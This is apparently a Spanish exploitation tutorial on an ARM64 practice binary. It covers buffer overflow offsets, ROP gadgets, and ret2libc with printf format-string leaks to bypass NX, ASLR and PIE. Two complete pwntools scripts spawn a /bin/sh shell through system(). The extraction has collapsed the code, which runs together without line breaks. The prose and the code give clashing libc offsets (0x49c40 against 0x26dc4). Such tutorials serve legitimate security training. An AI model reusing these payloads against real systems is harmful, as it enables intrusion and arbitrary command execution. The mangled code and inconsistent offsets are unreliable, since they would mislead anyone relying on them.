Creando un patrón con pattern create 200, usándolo y verificando el offset con pattern search $x30 podemos ver que el offset es 108 (0x6c).
Echando un vistazo a la función principal desensamblada, podemos ver que nos gustaría saltar a la instrucción para saltar a printf directamente, cuyo offset desde donde se carga el binario es 0x860:
Encontrar la cadena de system y /bin/sh
Como ASLR está deshabilitado, las direcciones van a ser siempre las mismas:
Encontrar Gadgets
Necesitamos tener en x0 la dirección a la cadena /bin/sh y llamar a system.
Este gadget cargará x0 desde $sp + 0x18 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos controlar el primer argumento y luego saltar a system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000binsh =next(libc.search(b"/bin/sh"))#Verify with find /bin/shsystem = libc.sym["system"]defexpl_bof(payload):p.recv()p.sendline(payload)# Ret2mainstack_offset =108ldr_x0_ret =p64(libc.address +0x6bdf0)# ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x18-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()p.close()
Ret2lib - Bypass de NX, ASL y PIE con filtraciones de printf desde la pila
Estableciendo un punto de interrupción antes de llamar a printf, es posible ver que hay direcciones para regresar al binario en la pila y también direcciones de libc:
Probando diferentes offsets, el %21$p puede filtrar una dirección binaria (bypass de PIE) y el %25$p puede filtrar una dirección de libc:
Restando la dirección de libc filtrada con la dirección base de libc, es posible ver que el offset de la dirección filtrada desde la base es 0x49c40.
Offset x30
Ver el ejemplo anterior ya que el bof es el mismo.
Encontrar Gadgets
Como en el ejemplo anterior, necesitamos tener en x0 la dirección de la cadena /bin/sh y llamar a system.
Usando rooper se encontró otro gadget interesante:
Este gadget cargará x0 desde $sp + 0x78 y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos controlar el primer argumento y luego saltar a system.
Exploit
from pwn import*from time import sleepp =process('./rop')# For local binarylibc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")defleak_printf(payload,is_main_addr=False):p.sendlineafter(b">\n" ,payload)response = p.recvline().strip()[2:] #Remove new line and "0x" prefixif is_main_addr:response = response[:-4]+b"0000"returnint(response, 16)defexpl_bof(payload):p.recv()p.sendline(payload)# Get main addressmain_address =leak_printf(b"%21$p", True)print(f"Bin address: {hex(main_address)}")# Ret2mainstack_offset =108main_call_printf_offset =0x860#Offset inside main to call printfleakprint("Going back to "+str(hex(main_address + main_call_printf_offset)))ret2main =b"A"*stack_offset +p64(main_address + main_call_printf_offset)expl_bof(ret2main)# libclibc_base_address =leak_printf(b"%25$p")-0x26dc4libc.address = libc_base_addressprint(f"Libc address: {hex(libc_base_address)}")binsh =next(libc.search(b"/bin/sh"))system = libc.sym["system"]# ret2systemldr_x0_ret =p64(libc.address +0x49c40)# ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;x29 =b"AAAAAAAA"x30 =p64(system)fill =b"A"* (0x78-0x10)x0 =p64(binsh)payload =b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0p.sendline(payload)p.interactive()